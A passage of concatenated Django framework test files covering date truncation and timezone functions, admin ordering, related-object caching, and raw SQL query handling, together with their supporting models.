            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncMonth('start_date')).order_by('start_datetime'),
            [
                (start_datetime, truncate_to(start_datetime.date(), 'month')),
                (end_datetime, truncate_to(end_datetime.date(), 'month')),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime=TruncMonth('start_datetime')).count(), 1)

        with self.assertRaisesMessage(ValueError, "Cannot truncate TimeField 'start_time' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncMonth('start_time')))

        with self.assertRaisesMessage(ValueError, "Cannot truncate TimeField 'start_time' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncMonth('start_time', output_field=TimeField())))

    def test_trunc_date_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncDate('start_datetime')).order_by('start_datetime'),
            [
                (start_datetime, start_datetime.date()),
                (end_datetime, end_datetime.date()),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime__date=TruncDate('start_datetime')).count(), 2)

        with self.assertRaisesMessage(ValueError, "Cannot truncate TimeField 'start_time' to DateField"):
            list(DTModel.objects.annotate(truncated=TruncDate('start_time')))

        with self.assertRaisesMessage(ValueError, "Cannot truncate TimeField 'start_time' to DateField"):
            list(DTModel.objects.annotate(truncated=TruncDate('start_time', output_field=TimeField())))

    def test_trunc_time_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncTime('start_datetime')).order_by('start_datetime'),
            [
                (start_datetime, start_datetime.time()),
                (end_datetime, end_datetime.time()),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime__time=TruncTime('start_datetime')).count(), 2)

        with self.assertRaisesMessage(ValueError, "Cannot truncate DateField 'start_date' to TimeField"):
            list(DTModel.objects.annotate(truncated=TruncTime('start_date')))

        with self.assertRaisesMessage(ValueError, "Cannot truncate DateField 'start_date' to TimeField"):
            list(DTModel.objects.annotate(truncated=TruncTime('start_date', output_field=DateField())))

    def test_trunc_day_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = truncate_to(microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123)), 'day')
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncDay('start_datetime')).order_by('start_datetime'),
            [
                (start_datetime, truncate_to(start_datetime, 'day')),
                (end_datetime, truncate_to(end_datetime, 'day')),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime=TruncDay('start_datetime')).count(), 1)

        with self.assertRaisesMessage(ValueError, "Cannot truncate TimeField 'start_time' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncDay('start_time')))

        with self.assertRaisesMessage(ValueError, "Cannot truncate TimeField 'start_time' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncDay('start_time', output_field=TimeField())))

    def test_trunc_hour_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = truncate_to(microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123)), 'hour')
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncHour('start_datetime')).order_by('start_datetime'),
            [
                (start_datetime, truncate_to(start_datetime, 'hour')),
                (end_datetime, truncate_to(end_datetime, 'hour')),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncHour('start_time')).order_by('start_datetime'),
            [
                (start_datetime, truncate_to(start_datetime.time(), 'hour')),
                (end_datetime, truncate_to(end_datetime.time(), 'hour')),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime=TruncHour('start_datetime')).count(), 1)

        with self.assertRaisesMessage(ValueError, "Cannot truncate DateField 'start_date' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncHour('start_date')))

        with self.assertRaisesMessage(ValueError, "Cannot truncate DateField 'start_date' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncHour('start_date', output_field=DateField())))

    def test_trunc_minute_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = truncate_to(microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123)), 'minute')
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncMinute('start_datetime')).order_by('start_datetime'),
            [
                (start_datetime, truncate_to(start_datetime, 'minute')),
                (end_datetime, truncate_to(end_datetime, 'minute')),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncMinute('start_time')).order_by('start_datetime'),
            [
                (start_datetime, truncate_to(start_datetime.time(), 'minute')),
                (end_datetime, truncate_to(end_datetime.time(), 'minute')),
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertEqual(DTModel.objects.filter(start_datetime=TruncMinute('start_datetime')).count(), 1)

        with self.assertRaisesMessage(ValueError, "Cannot truncate DateField 'start_date' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncMinute('start_date')))

        with self.assertRaisesMessage(ValueError, "Cannot truncate DateField 'start_date' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncMinute('start_date', output_field=DateField())))

    def test_trunc_second_func(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = truncate_to(microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123)), 'second')
        if settings.USE_TZ:
            start_datetime = timezone.make_aware(start_datetime, is_dst=False)
            end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncSecond('start_datetime')).order_by('start_datetime'),
            [
                (start_datetime, truncate_to(start_datetime, 'second')),
                (end_datetime, truncate_to(end_datetime, 'second'))
            ],
            lambda m: (m.start_datetime, m.extracted)
        )
        self.assertQuerysetEqual(
            DTModel.objects.annotate(extracted=TruncSecond('start_time')).order_by('start_datetime'),
            [
                (start_datetime, truncate_to(start_datetime.time(), 'second')),
                (end_datetime, truncate_to(end_datetime.time(), 'second'))
            ],
            lambda m: (m.start_datetime, m.extracted)
        )

        result = 1 if connection.features.supports_microsecond_precision else 2
        self.assertEqual(DTModel.objects.filter(start_datetime=TruncSecond('start_datetime')).count(), result)

        with self.assertRaisesMessage(ValueError, "Cannot truncate DateField 'start_date' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncSecond('start_date')))

        with self.assertRaisesMessage(ValueError, "Cannot truncate DateField 'start_date' to DateTimeField"):
            list(DTModel.objects.annotate(truncated=TruncSecond('start_date', output_field=DateField())))


@skipIf(pytz is None, "this test requires pytz")
@override_settings(USE_TZ=True, TIME_ZONE='UTC')
class DateFunctionWithTimeZoneTests(DateFunctionTests):

    def test_extract_func_with_timezone(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 23, 30, 1, 321))
        end_datetime = microsecond_support(datetime(2015, 6, 16, 13, 11, 27, 123))
        start_datetime = timezone.make_aware(start_datetime, is_dst=False)
        end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        melb = pytz.timezone('Australia/Melbourne')

        qs = DTModel.objects.annotate(
            day=Extract('start_datetime', 'day'),
            day_melb=Extract('start_datetime', 'day', tzinfo=melb),
            weekday=ExtractWeekDay('start_datetime'),
            weekday_melb=ExtractWeekDay('start_datetime', tzinfo=melb),
            hour=ExtractHour('start_datetime'),
            hour_melb=ExtractHour('start_datetime', tzinfo=melb),
        ).order_by('start_datetime')

        utc_model = qs.get()
        self.assertEqual(utc_model.day, 15)
        self.assertEqual(utc_model.day_melb, 16)
        self.assertEqual(utc_model.weekday, 2)
        self.assertEqual(utc_model.weekday_melb, 3)
        self.assertEqual(utc_model.hour, 23)
        self.assertEqual(utc_model.hour_melb, 9)

        with timezone.override(melb):
            melb_model = qs.get()

        self.assertEqual(melb_model.day, 16)
        self.assertEqual(melb_model.day_melb, 16)
        self.assertEqual(melb_model.weekday, 3)
        self.assertEqual(melb_model.weekday_melb, 3)
        self.assertEqual(melb_model.hour, 9)
        self.assertEqual(melb_model.hour_melb, 9)

    def test_extract_func_explicit_timezone_priority(self):
        start_datetime = microsecond_support(datetime(2015, 6, 15, 23, 30, 1, 321))
        end_datetime = microsecond_support(datetime(2015, 6, 16, 13, 11, 27, 123))
        start_datetime = timezone.make_aware(start_datetime, is_dst=False)
        end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        melb = pytz.timezone('Australia/Melbourne')

        with timezone.override(melb):
            model = DTModel.objects.annotate(
                day_melb=Extract('start_datetime', 'day'),
                day_utc=Extract('start_datetime', 'day', tzinfo=timezone.utc),
            ).order_by('start_datetime').get()
            self.assertEqual(model.day_melb, 16)
            self.assertEqual(model.day_utc, 15)

    def test_trunc_timezone_applied_before_truncation(self):
        start_datetime = microsecond_support(datetime(2016, 1, 1, 1, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        start_datetime = timezone.make_aware(start_datetime, is_dst=False)
        end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)

        melb = pytz.timezone('Australia/Melbourne')
        pacific = pytz.timezone('US/Pacific')

        model = DTModel.objects.annotate(
            melb_year=TruncYear('start_datetime', tzinfo=melb),
            pacific_year=TruncYear('start_datetime', tzinfo=pacific),
        ).order_by('start_datetime').get()

        self.assertEqual(model.start_datetime, start_datetime)
        self.assertEqual(model.melb_year, truncate_to(start_datetime, 'year', melb))
        self.assertEqual(model.pacific_year, truncate_to(start_datetime, 'year', pacific))
        self.assertEqual(model.start_datetime.year, 2016)
        self.assertEqual(model.melb_year.year, 2016)
        self.assertEqual(model.pacific_year.year, 2015)

    def test_trunc_func_with_timezone(self):
        """
        If the truncated datetime transitions to a different offset (daylight
        saving) then the returned value will have that new timezone/offset.
        """
        start_datetime = microsecond_support(datetime(2015, 6, 15, 14, 30, 50, 321))
        end_datetime = microsecond_support(datetime(2016, 6, 15, 14, 10, 50, 123))
        start_datetime = timezone.make_aware(start_datetime, is_dst=False)
        end_datetime = timezone.make_aware(end_datetime, is_dst=False)
        self.create_model(start_datetime, end_datetime)
        self.create_model(end_datetime, start_datetime)

        melb = pytz.timezone('Australia/Melbourne')

        def test_datetime_kind(kind, tzinfo=melb):
            self.assertQuerysetEqual(
                DTModel.objects.annotate(
                    truncated=Trunc('start_datetime', kind, output_field=DateTimeField(), tzinfo=melb)
                ).order_by('start_datetime'),
                [
                    (start_datetime, truncate_to(start_datetime.astimezone(melb), kind, melb)),
                    (end_datetime, truncate_to(end_datetime.astimezone(melb), kind, melb))
                ],
                lambda m: (m.start_datetime, m.truncated)
            )

        def test_date_kind(kind, tzinfo=melb):
            self.assertQuerysetEqual(
                DTModel.objects.annotate(
                    truncated=Trunc('start_date', kind, output_field=DateField(), tzinfo=melb)
                ).order_by('start_datetime'),
                [
                    (start_datetime, truncate_to(start_datetime.date(), kind)),
                    (end_datetime, truncate_to(end_datetime.date(), kind))
                ],
                lambda m: (m.start_datetime, m.truncated)
            )

        def test_time_kind(kind, tzinfo=melb):
            self.assertQuerysetEqual(
                DTModel.objects.annotate(
                    truncated=Trunc('start_time', kind, output_field=TimeField(), tzinfo=melb)
                ).order_by('start_datetime'),
                [
                    (start_datetime, truncate_to(start_datetime.time(), kind)),
                    (end_datetime, truncate_to(end_datetime.time(), kind))
                ],
                lambda m: (m.start_datetime, m.truncated)
            )

        test_date_kind('year')
        test_date_kind('month')
        test_date_kind('day')
        test_time_kind('hour')
        test_time_kind('minute')
        test_time_kind('second')
        test_datetime_kind('year')
        test_datetime_kind('month')
        test_datetime_kind('day')
        test_datetime_kind('hour')
        test_datetime_kind('minute')
        test_datetime_kind('second')

        qs = DTModel.objects.filter(start_datetime__date=Trunc('start_datetime', 'day', output_field=DateField()))
        self.assertEqual(qs.count(), 2)






# -*- coding: utf-8 -*-
from django.contrib import admin
from django.db import models


class Band(models.Model):
    name = models.CharField(max_length=100)
    bio = models.TextField()
    rank = models.IntegerField()

    class Meta:
        ordering = ('name',)


class Song(models.Model):
    band = models.ForeignKey(Band, models.CASCADE)
    name = models.CharField(max_length=100)
    duration = models.IntegerField()
    other_interpreters = models.ManyToManyField(Band, related_name='covers')

    class Meta:
        ordering = ('name',)


class SongInlineDefaultOrdering(admin.StackedInline):
    model = Song


class SongInlineNewOrdering(admin.StackedInline):
    model = Song
    ordering = ('duration', )


class DynOrderingBandAdmin(admin.ModelAdmin):

    def get_ordering(self, request):
        if request.user.is_superuser:
            return ['rank']
        else:
            return ['name']












from __future__ import unicode_literals

from django.contrib import admin
from django.contrib.admin.options import ModelAdmin
from django.contrib.auth.models import User
from django.test import RequestFactory, TestCase

from .models import (
    Band, DynOrderingBandAdmin, Song, SongInlineDefaultOrdering,
    SongInlineNewOrdering,
)


class MockRequest(object):
    pass


class MockSuperUser(object):
    def has_perm(self, perm):
        return True

    def has_module_perms(self, module):
        return True

request = MockRequest()
request.user = MockSuperUser()

site = admin.AdminSite()


class TestAdminOrdering(TestCase):
    """
    Let's make sure that ModelAdmin.get_queryset uses the ordering we define
    in ModelAdmin rather that ordering defined in the model's inner Meta
    class.
    """

    def setUp(self):
        self.request_factory = RequestFactory()
        Band.objects.bulk_create([
            Band(name='Aerosmith', bio='', rank=3),
            Band(name='Radiohead', bio='', rank=1),
            Band(name='Van Halen', bio='', rank=2),
        ])

    def test_default_ordering(self):
        """
        The default ordering should be by name, as specified in the inner Meta
        class.
        """
        ma = ModelAdmin(Band, site)
        names = [b.name for b in ma.get_queryset(request)]
        self.assertListEqual(['Aerosmith', 'Radiohead', 'Van Halen'], names)

    def test_specified_ordering(self):
        """
        Let's use a custom ModelAdmin that changes the ordering, and make sure
        it actually changes.
        """
        class BandAdmin(ModelAdmin):
            ordering = ('rank',)  # default ordering is ('name',)
        ma = BandAdmin(Band, site)
        names = [b.name for b in ma.get_queryset(request)]
        self.assertListEqual(['Radiohead', 'Van Halen', 'Aerosmith'], names)

    def test_dynamic_ordering(self):
        """
        Let's use a custom ModelAdmin that changes the ordering dynamically.
        """
        super_user = User.objects.create(username='admin', is_superuser=True)
        other_user = User.objects.create(username='other')
        request = self.request_factory.get('/')
        request.user = super_user
        ma = DynOrderingBandAdmin(Band, site)
        names = [b.name for b in ma.get_queryset(request)]
        self.assertListEqual(['Radiohead', 'Van Halen', 'Aerosmith'], names)
        request.user = other_user
        names = [b.name for b in ma.get_queryset(request)]
        self.assertListEqual(['Aerosmith', 'Radiohead', 'Van Halen'], names)


class TestInlineModelAdminOrdering(TestCase):
    """
    Let's make sure that InlineModelAdmin.get_queryset uses the ordering we
    define in InlineModelAdmin.
    """

    def setUp(self):
        self.band = Band.objects.create(name='Aerosmith', bio='', rank=3)
        Song.objects.bulk_create([
            Song(band=self.band, name='Pink', duration=235),
            Song(band=self.band, name='Dude (Looks Like a Lady)', duration=264),
            Song(band=self.band, name='Jaded', duration=214),
        ])

    def test_default_ordering(self):
        """
        The default ordering should be by name, as specified in the inner Meta
        class.
        """
        inline = SongInlineDefaultOrdering(self.band, site)
        names = [s.name for s in inline.get_queryset(request)]
        self.assertListEqual(['Dude (Looks Like a Lady)', 'Jaded', 'Pink'], names)

    def test_specified_ordering(self):
        """
        Let's check with ordering set to something different than the default.
        """
        inline = SongInlineNewOrdering(self.band, site)
        names = [s.name for s in inline.get_queryset(request)]
        self.assertListEqual(['Jaded', 'Pink', 'Dude (Looks Like a Lady)'], names)


class TestRelatedFieldsAdminOrdering(TestCase):
    def setUp(self):
        self.b1 = Band.objects.create(name='Pink Floyd', bio='', rank=1)
        self.b2 = Band.objects.create(name='Foo Fighters', bio='', rank=5)

        # we need to register a custom ModelAdmin (instead of just using
        # ModelAdmin) because the field creator tries to find the ModelAdmin
        # for the related model
        class SongAdmin(admin.ModelAdmin):
            pass
        site.register(Song, SongAdmin)

    def tearDown(self):
        site.unregister(Song)
        if Band in site._registry:
            site.unregister(Band)

    def check_ordering_of_field_choices(self, correct_ordering):
        fk_field = site._registry[Song].formfield_for_foreignkey(Song.band.field, request=None)
        m2m_field = site._registry[Song].formfield_for_manytomany(Song.other_interpreters.field, request=None)

        self.assertListEqual(list(fk_field.queryset), correct_ordering)
        self.assertListEqual(list(m2m_field.queryset), correct_ordering)

    def test_no_admin_fallback_to_model_ordering(self):
        # should be ordered by name (as defined by the model)
        self.check_ordering_of_field_choices([self.b2, self.b1])

    def test_admin_with_no_ordering_fallback_to_model_ordering(self):
        class NoOrderingBandAdmin(admin.ModelAdmin):
            pass
        site.register(Band, NoOrderingBandAdmin)

        # should be ordered by name (as defined by the model)
        self.check_ordering_of_field_choices([self.b2, self.b1])

    def test_admin_ordering_beats_model_ordering(self):
        class StaticOrderingBandAdmin(admin.ModelAdmin):
            ordering = ('rank',)
        site.register(Band, StaticOrderingBandAdmin)

        # should be ordered by rank (defined by the ModelAdmin)
        self.check_ordering_of_field_choices([self.b1, self.b2])

    def test_custom_queryset_still_wins(self):
        """Test that custom queryset has still precedence (#21405)"""
        class SongAdmin(admin.ModelAdmin):
            # Exclude one of the two Bands from the querysets
            def formfield_for_foreignkey(self, db_field, request, **kwargs):
                if db_field.name == 'band':
                    kwargs["queryset"] = Band.objects.filter(rank__gt=2)
                return super(SongAdmin, self).formfield_for_foreignkey(db_field, request, **kwargs)

            def formfield_for_manytomany(self, db_field, request, **kwargs):
                if db_field.name == 'other_interpreters':
                    kwargs["queryset"] = Band.objects.filter(rank__gt=2)
                return super(SongAdmin, self).formfield_for_foreignkey(db_field, request, **kwargs)

        class StaticOrderingBandAdmin(admin.ModelAdmin):
            ordering = ('rank',)

        site.unregister(Song)
        site.register(Song, SongAdmin)
        site.register(Band, StaticOrderingBandAdmin)

        self.check_ordering_of_field_choices([self.b2])






"""
Existing related object instance caching.

Test that queries are not redone when going back through known relations.
"""

from django.db import models


class Tournament(models.Model):
    name = models.CharField(max_length=30)


class Organiser(models.Model):
    name = models.CharField(max_length=30)


class Pool(models.Model):
    name = models.CharField(max_length=30)
    tournament = models.ForeignKey(Tournament, models.CASCADE)
    organiser = models.ForeignKey(Organiser, models.CASCADE)


class PoolStyle(models.Model):
    name = models.CharField(max_length=30)
    pool = models.OneToOneField(Pool, models.CASCADE)












from __future__ import unicode_literals

from django.test import TestCase

from .models import Organiser, Pool, PoolStyle, Tournament


class ExistingRelatedInstancesTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.t1 = Tournament.objects.create(name='Tourney 1')
        cls.t2 = Tournament.objects.create(name='Tourney 2')
        cls.o1 = Organiser.objects.create(name='Organiser 1')
        cls.p1 = Pool.objects.create(name='T1 Pool 1', tournament=cls.t1, organiser=cls.o1)
        cls.p2 = Pool.objects.create(name='T1 Pool 2', tournament=cls.t1, organiser=cls.o1)
        cls.p3 = Pool.objects.create(name='T2 Pool 1', tournament=cls.t2, organiser=cls.o1)
        cls.p4 = Pool.objects.create(name='T2 Pool 2', tournament=cls.t2, organiser=cls.o1)
        cls.ps1 = PoolStyle.objects.create(name='T1 Pool 2 Style', pool=cls.p2)
        cls.ps2 = PoolStyle.objects.create(name='T2 Pool 1 Style', pool=cls.p3)

    def test_foreign_key(self):
        with self.assertNumQueries(2):
            tournament = Tournament.objects.get(pk=self.t1.pk)
            pool = tournament.pool_set.all()[0]
            self.assertIs(tournament, pool.tournament)

    def test_foreign_key_prefetch_related(self):
        with self.assertNumQueries(2):
            tournament = (Tournament.objects.prefetch_related('pool_set').get(pk=self.t1.pk))
            pool = tournament.pool_set.all()[0]
            self.assertIs(tournament, pool.tournament)

    def test_foreign_key_multiple_prefetch(self):
        with self.assertNumQueries(2):
            tournaments = list(Tournament.objects.prefetch_related('pool_set').order_by('pk'))
            pool1 = tournaments[0].pool_set.all()[0]
            self.assertIs(tournaments[0], pool1.tournament)
            pool2 = tournaments[1].pool_set.all()[0]
            self.assertIs(tournaments[1], pool2.tournament)

    def test_queryset_or(self):
        tournament_1 = self.t1
        tournament_2 = self.t2
        with self.assertNumQueries(1):
            pools = tournament_1.pool_set.all() | tournament_2.pool_set.all()
            related_objects = set(pool.tournament for pool in pools)
            self.assertEqual(related_objects, {tournament_1, tournament_2})

    def test_queryset_or_different_cached_items(self):
        tournament = self.t1
        organiser = self.o1
        with self.assertNumQueries(1):
            pools = tournament.pool_set.all() | organiser.pool_set.all()
            first = pools.filter(pk=self.p1.pk)[0]
            self.assertIs(first.tournament, tournament)
            self.assertIs(first.organiser, organiser)

    def test_queryset_or_only_one_with_precache(self):
        tournament_1 = self.t1
        tournament_2 = self.t2
        # 2 queries here as pool 3 has tournament 2, which is not cached
        with self.assertNumQueries(2):
            pools = tournament_1.pool_set.all() | Pool.objects.filter(pk=self.p3.pk)
            related_objects = set(pool.tournament for pool in pools)
            self.assertEqual(related_objects, {tournament_1, tournament_2})
        # and the other direction
        with self.assertNumQueries(2):
            pools = Pool.objects.filter(pk=self.p3.pk) | tournament_1.pool_set.all()
            related_objects = set(pool.tournament for pool in pools)
            self.assertEqual(related_objects, {tournament_1, tournament_2})

    def test_queryset_and(self):
        tournament = self.t1
        organiser = self.o1
        with self.assertNumQueries(1):
            pools = tournament.pool_set.all() & organiser.pool_set.all()
            first = pools.filter(pk=self.p1.pk)[0]
            self.assertIs(first.tournament, tournament)
            self.assertIs(first.organiser, organiser)

    def test_one_to_one(self):
        with self.assertNumQueries(2):
            style = PoolStyle.objects.get(pk=self.ps1.pk)
            pool = style.pool
            self.assertIs(style, pool.poolstyle)

    def test_one_to_one_select_related(self):
        with self.assertNumQueries(1):
            style = PoolStyle.objects.select_related('pool').get(pk=self.ps1.pk)
            pool = style.pool
            self.assertIs(style, pool.poolstyle)

    def test_one_to_one_multi_select_related(self):
        with self.assertNumQueries(1):
            poolstyles = list(PoolStyle.objects.select_related('pool').order_by('pk'))
            self.assertIs(poolstyles[0], poolstyles[0].pool.poolstyle)
            self.assertIs(poolstyles[1], poolstyles[1].pool.poolstyle)

    def test_one_to_one_prefetch_related(self):
        with self.assertNumQueries(2):
            style = PoolStyle.objects.prefetch_related('pool').get(pk=self.ps1.pk)
            pool = style.pool
            self.assertIs(style, pool.poolstyle)

    def test_one_to_one_multi_prefetch_related(self):
        with self.assertNumQueries(2):
            poolstyles = list(PoolStyle.objects.prefetch_related('pool').order_by('pk'))
            self.assertIs(poolstyles[0], poolstyles[0].pool.poolstyle)
            self.assertIs(poolstyles[1], poolstyles[1].pool.poolstyle)

    def test_reverse_one_to_one(self):
        with self.assertNumQueries(2):
            pool = Pool.objects.get(pk=self.p2.pk)
            style = pool.poolstyle
            self.assertIs(pool, style.pool)

    def test_reverse_one_to_one_select_related(self):
        with self.assertNumQueries(1):
            pool = Pool.objects.select_related('poolstyle').get(pk=self.p2.pk)
            style = pool.poolstyle
            self.assertIs(pool, style.pool)

    def test_reverse_one_to_one_prefetch_related(self):
        with self.assertNumQueries(2):
            pool = Pool.objects.prefetch_related('poolstyle').get(pk=self.p2.pk)
            style = pool.poolstyle
            self.assertIs(pool, style.pool)

    def test_reverse_one_to_one_multi_select_related(self):
        with self.assertNumQueries(1):
            pools = list(Pool.objects.select_related('poolstyle').order_by('pk'))
            self.assertIs(pools[1], pools[1].poolstyle.pool)
            self.assertIs(pools[2], pools[2].poolstyle.pool)

    def test_reverse_one_to_one_multi_prefetch_related(self):
        with self.assertNumQueries(2):
            pools = list(Pool.objects.prefetch_related('poolstyle').order_by('pk'))
            self.assertIs(pools[1], pools[1].poolstyle.pool)
            self.assertIs(pools[2], pools[2].poolstyle.pool)






from django.db import models


class Author(models.Model):
    first_name = models.CharField(max_length=255)
    last_name = models.CharField(max_length=255)
    dob = models.DateField()

    def __init__(self, *args, **kwargs):
        super(Author, self).__init__(*args, **kwargs)
        # Protect against annotations being passed to __init__ --
        # this'll make the test suite get angry if annotations aren't
        # treated differently than fields.
        for k in kwargs:
            assert k in [f.attname for f in self._meta.fields], \
                "Author.__init__ got an unexpected parameter: %s" % k


class Book(models.Model):
    title = models.CharField(max_length=255)
    author = models.ForeignKey(Author, models.CASCADE)
    paperback = models.BooleanField(default=False)
    opening_line = models.TextField()


class BookFkAsPk(models.Model):
    book = models.ForeignKey(Book, models.CASCADE, primary_key=True, db_column="not_the_default")


class Coffee(models.Model):
    brand = models.CharField(max_length=255, db_column="name")
    price = models.DecimalField(max_digits=10, decimal_places=2, default=0)


class Reviewer(models.Model):
    reviewed = models.ManyToManyField(Book)


class FriendlyAuthor(Author):
    pass












from __future__ import unicode_literals

from datetime import date
from decimal import Decimal

from django.db.models.query_utils import InvalidQuery
from django.test import TestCase, skipUnlessDBFeature

from .models import Author, Book, BookFkAsPk, Coffee, FriendlyAuthor, Reviewer


class RawQueryTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.a1 = Author.objects.create(first_name='Joe', last_name='Smith', dob=date(1950, 9, 20))
        cls.a2 = Author.objects.create(first_name='Jill', last_name='Doe', dob=date(1920, 4, 2))
        cls.a3 = Author.objects.create(first_name='Bob', last_name='Smith', dob=date(1986, 1, 25))
        cls.a4 = Author.objects.create(first_name='Bill', last_name='Jones', dob=date(1932, 5, 10))
        cls.b1 = Book.objects.create(
            title='The awesome book', author=cls.a1, paperback=False,
            opening_line='It was a bright cold day in April and the clocks were striking thirteen.',
        )
        cls.b2 = Book.objects.create(
            title='The horrible book', author=cls.a1, paperback=True,
            opening_line=(
                'On an evening in the latter part of May a middle-aged man '
                'was walking homeward from Shaston to the village of Marlott, '
                'in the adjoining Vale of Blakemore, or Blackmoor.'
            ),
        )
        cls.b3 = Book.objects.create(
            title='Another awesome book', author=cls.a1, paperback=False,
            opening_line='A squat grey building of only thirty-four stories.',
        )
        cls.b4 = Book.objects.create(
            title='Some other book', author=cls.a3, paperback=True,
            opening_line='It was the day my grandmother exploded.',
        )
        cls.c1 = Coffee.objects.create(brand='dunkin doughnuts')
        cls.c2 = Coffee.objects.create(brand='starbucks')
        cls.r1 = Reviewer.objects.create()
        cls.r2 = Reviewer.objects.create()
        cls.r1.reviewed.add(cls.b2, cls.b3, cls.b4)

    def assertSuccessfulRawQuery(self, model, query, expected_results,
                                 expected_annotations=(), params=[], translations=None):
        """
        Execute the passed query against the passed model and check the output
        """
        results = list(model.objects.raw(query, params=params, translations=translations))
        self.assertProcessed(model, results, expected_results, expected_annotations)
        self.assertAnnotations(results, expected_annotations)

    def assertProcessed(self, model, results, orig, expected_annotations=()):
        """
        Compare the results of a raw query against expected results
        """
        self.assertEqual(len(results), len(orig))
        for index, item in enumerate(results):
            orig_item = orig[index]
            for annotation in expected_annotations:
                setattr(orig_item, *annotation)

            for field in model._meta.fields:
                # Check that all values on the model are equal
                self.assertEqual(
                    getattr(item, field.attname),
                    getattr(orig_item, field.attname)
                )
                # This includes checking that they are the same type
                self.assertEqual(
                    type(getattr(item, field.attname)),
                    type(getattr(orig_item, field.attname))
                )

    def assertNoAnnotations(self, results):
        """
        Check that the results of a raw query contain no annotations
        """
        self.assertAnnotations(results, ())

    def assertAnnotations(self, results, expected_annotations):
        """
        Check that the passed raw query results contain the expected
        annotations
        """
        if expected_annotations:
            for index, result in enumerate(results):
                annotation, value = expected_annotations[index]
                self.assertTrue(hasattr(result, annotation))
                self.assertEqual(getattr(result, annotation), value)

    def test_simple_raw_query(self):
        """
        Basic test of raw query with a simple database query
        """
        query = "SELECT * FROM raw_query_author"
        authors = Author.objects.all()
        self.assertSuccessfulRawQuery(Author, query, authors)

    def test_raw_query_lazy(self):
        """
        Raw queries are lazy: they aren't actually executed until they're
        iterated over.
        """
        q = Author.objects.raw('SELECT * FROM raw_query_author')
        self.assertIsNone(q.query.cursor)
        list(q)
        self.assertIsNotNone(q.query.cursor)

    def test_FK_raw_query(self):
        """
        Test of a simple raw query against a model containing a foreign key
        """
        query = "SELECT * FROM raw_query_book"
        books = Book.objects.all()
        self.assertSuccessfulRawQuery(Book, query, books)

